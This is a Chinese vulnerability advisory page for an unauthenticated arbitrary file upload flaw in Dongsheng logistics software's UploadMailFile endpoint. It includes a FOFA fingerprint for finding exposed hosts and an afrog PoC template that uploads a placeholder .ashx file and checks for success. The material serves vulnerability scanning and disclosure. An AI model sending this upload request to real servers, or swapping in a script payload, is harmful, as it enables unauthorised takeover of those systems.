dongsheng-uploadmailfile-fileupload: 东胜物流软件CommMngPrintUploadMailFile 任意文件上传漏洞

日期: 2025-09-01 | 影响软件: dongsheng uploadmailfile fileupload | POC: 已公开

漏洞描述

东胜物流软件的/CommMng/Print/UploadMailFile接口存在任意文件上传漏洞，未经身份验证的攻击者可以通过该漏洞上传恶意脚本文件，从而控制目标服务器。 FOFA: body="dhtmlxcombo_whp.js"

PoC代码[已公开]

id: dongsheng-uploadmailfile-fileupload

info:
  name: 东胜物流软件CommMngPrintUploadMailFile 任意文件上传漏洞
  author: avic123
  severity: critical
  verified: true
  description: |
    东胜物流软件的/CommMng/Print/UploadMailFile接口存在任意文件上传漏洞，未经身份验证的攻击者可以通过该漏洞上传恶意脚本文件，从而控制目标服务器。
    FOFA: body="dhtmlxcombo_whp.js"
  reference:
    - https://cn-sec.com/archives/4243708.html
  tags: dongsheng,wuliu,fileupload
  created: 2025/08/18

set:
  hostname: request.url.host
  randstr: randomLowercase(8)
  rand1: randomInt(1, 100)
rules:
  r0:
    request:
      method: POST
      path: /CommMng/Print/UploadMailFile
      headers:
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
      body: | 
        ------WebKitFormBoundary7MA4YWxkTrZu0gW
        Content-Disposition: form-data; name="LoadFile"; filename="{{randstr}}.ashx"
        Content-Type: application/octet-stream

        123
        
        ------WebKitFormBoundary7MA4YWxkTrZu0gW--
    expression: response.status == 200 && response.body.bcontains(b'success') && response.body.bcontains(b'上传成功')    
    

expression: r0()
来源: https://github.com/zan8in/afrog/blob/main/pocs/afrog-pocs/vulnerability/dongsheng-uploadmailfile-fileupload.yaml

相关漏洞推荐